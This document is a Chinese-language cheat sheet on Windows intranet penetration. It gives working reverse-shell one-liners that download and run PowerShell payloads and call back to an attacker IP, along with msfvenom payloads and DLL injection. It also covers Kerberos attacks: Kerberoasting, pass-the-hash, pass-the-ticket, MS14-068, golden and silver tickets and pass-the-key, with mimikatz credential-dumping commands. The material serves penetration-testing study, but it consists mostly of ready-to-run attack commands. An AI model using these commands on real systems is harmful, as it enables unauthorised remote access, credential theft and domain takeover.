内网渗透——Kerberos篇(待更新)

对内网渗透一些东西的小记录

WinXP配置PowerShell

  1. 安装.NET Framework 2.0 Service Pack 2

    https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=1639

  2. 安装WindowsXP-KB926140-v5-x86-CHS.exe

    https://download.cnet.com/Microsoft-Windows-PowerShell-1-0-for-Windows-XP/3000-2070_4-75450849.html

Windows反弹shell

nc反弹shell

1
2
3
4
5
# Attacker
nc -vlp 9999

# Victim
nc.exe 192.168.255.128 9999 -e c:\WINDOWS\system32\cmd.exe

powercat

https://github.com/besimorhino/powercat

1
2
3
4
5
6
# Attacker
nc -lvp 6666 或 powercat -l -p 6666

# Victim
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
powercat -c 192.168.255.128 -p 6666 -e cmd

nishang

https://github.com/samratashok/nishang

Reverse TCP Shell

1
2
3
4
5
6
7
# Attacker
nc -lvp 6666

# Victim
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.255.128 -port 6666

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.255.128/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.255.128 -port 6666

Reverse UDP Shell

1
2
3
4
5
# Attacker
nc -lvup 53

# Victim
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.255.128 -port 53

Reverse ICMP shell

icmpsh_m.py:https://github.com/inquisb/icmpsh

1
2
3
4
5
6
# Attacker
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #忽略所有icmp包
python icmpsh_m.py 192.168.255.128 192.168.255.130 #开启监听

# Victim
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.255.128/nishang/Shells/Invoke-PowerShellIcmp.ps1');Invoke-PowerShellIcmp -IPAddress 192.168.255.130

自定义payload

1
2
3
4
5
6
7
8
9
# Attacker
nc -lvp 6666

# Victim
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.255.128',6666);$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Reverse DNS Shell

dnscat2:https://github.com/iagox86/dnscat2

1
2
3
4
5
# Attacker
ruby dnscat2.rb --dns "domain=lltest.com,host=192.168.255.128" --no-cache -e open

# Victim
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer 192.168.255.128

DLL注入

PowerSploit:https://github.com/PowerShellMafia/PowerSploit

1
2
3
4
5
6
7
# Attacker
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.255.128 lport=6667 -f dll -o /var/www/html/PowerSploit/lltest.dll

# Victim
Get-Process #选择要注入的进程 Id
IEX (New-Object Net.WebClient).DownloadString("http://192.168.255.128/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")
Invoke-DllInjection -ProcessID 5816 -Dll C:UsersAdministratorDesktoplltest.dll

MSF Reverse Shell

1
2
3
4
5
# Attacker
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.255.128 LPORT=4444 -f exe -o tcpshell.exe

# Victim
tcpshell.exe

信息收集(简)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ipconfig /all    
# 查询本机IP段,所在域等
net config Workstation
# 当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user
# 本机用户列表
net localgroup administrators
# 本机管理员[通常含有域用户]
net user /domain
# 查询域用户
net user 用户名 /domain
# 获取指定用户的账户信息
net user /domain b404 pass
# 修改域内用户密码,需要管理员权限
net group /domain
# 查询域里面的工作组
net group 组名 /domain
# 查询域中的某工作组
net group "domain admins" /domain
# 查询域管理员列表
net group "domain controllers" /domain
# 查看域控制器(如果有多台)
net time /domain
# 判断主域,主域服务器都做时间服务器
ipconfig /all
# 查询本机IP段,所在域等

Kereros 协议(简)

  • 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用KRBTGT密码hash作为密钥),发送给KDC(域控),KDC对用户进行检测,成功之后创建TGT(票据授权票据)
  • 将TGT进行加密签名返回给客户机器,只有域用户KRBTGT才能读取Kerberos中TGT数据
  • 然后客户机将TGT发送给KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
  • 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。

攻击方法

Kerberoating

原理

域内的任何一台主机,都能够通过查询SPN,向域内的所有服务请求TGS,拿到TGS后对其进行暴力破解。对于破解出的明文口令,只有域用户帐户(Users)的口令存在价值,不必考虑机器帐户的口令(无法用于远程连接)。

利用思路

  1. 查询SPN,找到有价值的SPN,需要满足以下条件:
    • 该SPN注册在域用户帐户(Users)下
    • 域用户账户的权限很高
  2. 请求TGS
  3. 导出TGS
  4. 暴力破解

手工导出

  1. 获取有价值的SPN

    1. 使用powershell模块Active Directory

      powershell模块Active Directory 需要提前安装,域控制器一般会安装

      导入命令:

      import-module .\Microsoft.ActiveDirectory.Management.dll

      下载地址:

      https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll

      1
      2
      import-module ActiveDirectory
      get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon
    2. 使用PowerView

      脚本地址:

      https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

      1
      Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon
    3. 使用kerberoast

      脚本地址:

      (powershell)https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1

      (vbs)https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs

      1
      cscript GetUserSPNs.vbs
  2. 请求TGS,执行后输入klist查看内存中的票据,可找到获得的TGS。

    1. 请求指定TGS

      1
      2
      3
      $SPNName = 'MSSQLSvc/DC1.test.com'
      Add-Type -AssemblyNAme System.IdentityModel
      New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
    2. 请求所有TGS

      1
      2
      Add-Type -AssemblyName System.IdentityModel  
      setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
  3. 导出TGS

    1
    mimikatz # kerberos::list /export
  4. 破解

    脚本地址:

    https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

    1
    ./tgsrepcrack.py wordlist.txt test.kirbi

自动化脚本

自动实现,并且不需要mimikatz,普通用户权限即可

参考资料:

http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/

代码地址:

http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/

利用步骤

  1. 在域内一台主机上以普通用户权限执行

    1
    Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl
  2. 只提取hash参数

    1
    Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
  3. 使用hashcat破解

    1
    hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt --force

Pth(Pass the hash)

直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。

原理

  • 在Windows系统中,通常会使用NTLM身份认证
  • NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
  • hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash
  • 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)

适用范围

  • 域/工作组环境
  • 可以获得hash,但是条件不允许对hash爆破
  • 内网中存在和当前机器相同的密码

微软对 Pth 打过补丁,但是默认的 Administrator(SID 500) 账号还可以使用 Pth。

如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。

Mimikatz

mimikatz的pth功能需要本地管理员权限,这是由它的实现机制决定的,需要先获得高权限进程lsass.exe的信息

对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NT hash

获取 hash

1
2
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

pth

1
mimikatz # sekurlsa::pth /user:[Username] /domain:workgroup /ntlm:[NTLM]

wmiexec

Invoke-TheHash

https://github.com/Kevin-Robertson/Invoke-TheHash

1
Invoke-Module Invoke-TheHash.psd1Invoke-WMIExec -Target 192.168.3.21 -Domain workgroup -Username administrator -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose

Invoke-SMBExec

支持SMB1,SMB2 (2.1),and SMB signing,

1
Invoke-SMBExec -Target 192.168.3.21 -Domain test.local -Username test1 -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose

Invoke-SMBClient

支持SMB1, SMB2 (2.1), and SMB signing,如果只有SMB文件共享的权限,没有远程执行权限,可以使用该脚本。

支持的功能包括列举目录、上传文件、下载文件、删除文件(具体权限取决于该口令hash的权限)

wmiexec.py

https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

wmiexec.exe

https://github.com/maaaaz/impacket-examples-windows

wmiexec.exe通过python impacket库实现的,生成的exe有点大,5M大小在实战起来有点不方便

1
wmiexec -hashes 00000000000000000000000000000000:ccef208c6485269c20db2cad21734fe7 workgroup/administrator@192.168.3.21 "whoami"

wmiexec.py的hash参数格式为 LM Hash:NT Hash ,由于该Hash来自于Server 2008,系统默认不支持LM hash,所以LM hash可以设定为任意值

Ptt(Pass the ticket)

原理

如果我们能够拿到用户的TGT,并将其导入到内存,就可以冒充该用户获得其访问权限。

利用Kerberos协议进行攻击,三种常用的攻击方法是MS16-068,Golden ticket,Silver ticket。

MS16-068

MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.

ms14-068详细介绍:https://www.freebuf.com/vuls/56081.html

微软给出的补丁是kb3011780

简单来说就是:

windows域中使用kerberos协议过程中,为了让SS服务器判断Client是否有权限访问服务,引入了PAC机制。构造PAC也是这个漏洞的根本。

  1. 在请求AS时,将require_PAC设置成False。
  2. 在请求TGS时,构造PAC,然后使用MD5签名(PAC尾部的签名算法可以任意指定),PAC并没有放在TGT中发送,而是在请求包的其他位置(但是还是可以解析)。
  3. TGS_REP返回的不是会话密钥,而是返回的带PAC的TGT。

利用工具

ms14-068

利用步骤

  1. 使用 whoami/user 得到普通域用户的sid

  2. 执行payload生成TGT票据(.ccache文件)

    1
    ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
  3. 票据注入,使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器,成功后会显示Injecting ticket : OK

    1
    2
    3
    mimikatz # kerberos::purge         //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
    mimikatz # kerberos::list //查看当前机器凭证
    mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中

利用工具

kekeo

利用步骤

  1. 生成票据

    1
    kekeo # "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
  2. 导入票据

    1
    kekeo # "kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi"

Golden ticket

前提条件

  • krbtgt用户的hash(就意味着你已经有域控制器权限了)
  • 域名称
  • 域的SID值
  • 要伪造的用户名

利用步骤

  1. 先登录域控制器,dump krbtgt用户的hash值,获取域sid

    1
    2
    mimikatz # privilege::debug
    mimikatz # lsadump::lsa /patch
  2. 切换到普通域用户的机器,生成TGT凭证,用户名为administrator

    1
    mimikatz # kerberos::golden /user:administrator /doamin::dog.org /sid:[SID] /krbigi:[NTLM]
  3. 使用mimikatz将凭证注入进去

    1
    mimikatz # kerberos::ptt ticket.kirbi
  4. 如果主机开启了RPC服务,还可以使用WmiExec.vbs直接连接:

    1
    cscript "wmiexe v1.1.vbs" /shell 192.168.3.21

Silver ticket

silver ticket和golden ticket不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。

利用步骤

  1. 首先登录域控,dump机器hash

    1
    2
    mimikatz # privilege::debug
    mimikatz # sekurlsa::logonpasswords
  2. 将hash保存下来,在普通域用户机器中进行ptt

    1
    mimikatz # kerberos::golden /domain:god.org /sid:[SID]  /target:192.168.3.21 /rc4:[NTLM]  /service:cifs /user:mary /ptt

    这里的cifs是指的文件共享服务,有了cifs服务权限,就可以访问域控制器的文件系统

Ptk(Pass the key)

原理

由于在进行认证的时候,是用用户hash加密时间戳,即使在使用密码进行登录的情况下,也是先把密码加密成hash,再进行认证。因此在只有用户hash,没有明文密码的情况下也是可以进行认证的。不管是rubeus还是impacket里面的相关脚本都是支持直接使用hash进行认证。其中,如果hash的ntlm hash,然后加密方式是rc4,这种就算做是pass the hash,如果是hash是aes key(使用sekurlsa::ekeys导出来),就算是pass the key。在很多地方,不支持rc4加密方式的时候,使用pass the key不失为一种好方法。

注入方法

  1. 获取用户的aes key

    1
    mimikatz "privilege::debug" "sekurlsa::ekeys"
  2. 注入aes key

    1
    mimikatz "privilege::debug" "sekurlsa::pth /user:mary /domain:god.org /aes256:[aes256_hmac]"

如果拒绝访问的话尝试安装kb2871997补丁

NTLM Relay

NTLM(v1/v2)的hash是存放在安全账户管理(SAM)数据库以及域控的NTDS.dit数据库中,获取该Hash值可以直接进行PtH攻击。

Net-NTLM(v1/v2)的hash值是基于用户的NT的hash值经过一定的算法产生的。

区别:

Net-NTLM v1 hash相对容易破解,拿到就约等于拿到了NTLM hash

Net-NTLM v2 hash需要暴力破解(hashcat)

原理

在使用一些服务的过程中,需要带有windows的自身的认证信息,其实就是Net-NTLM的Hash,而这些东西你可以使用像Responder或者Inveigh这些工具获得。然后你获取了这个Net-NTLM的Hash,就可以转给真正的验证服务器去验证,从而作为攻击者的你就可以通过真实的服务器的身份验证,这种攻击方式就称作NTLM中继攻击。

利用工具

参考链接:

powershell反弹shell常见方式

Kerberos协议探索系列之扫描与爆破篇

域渗透——Kerberoasting

内网渗透之PTH&PTT&PTK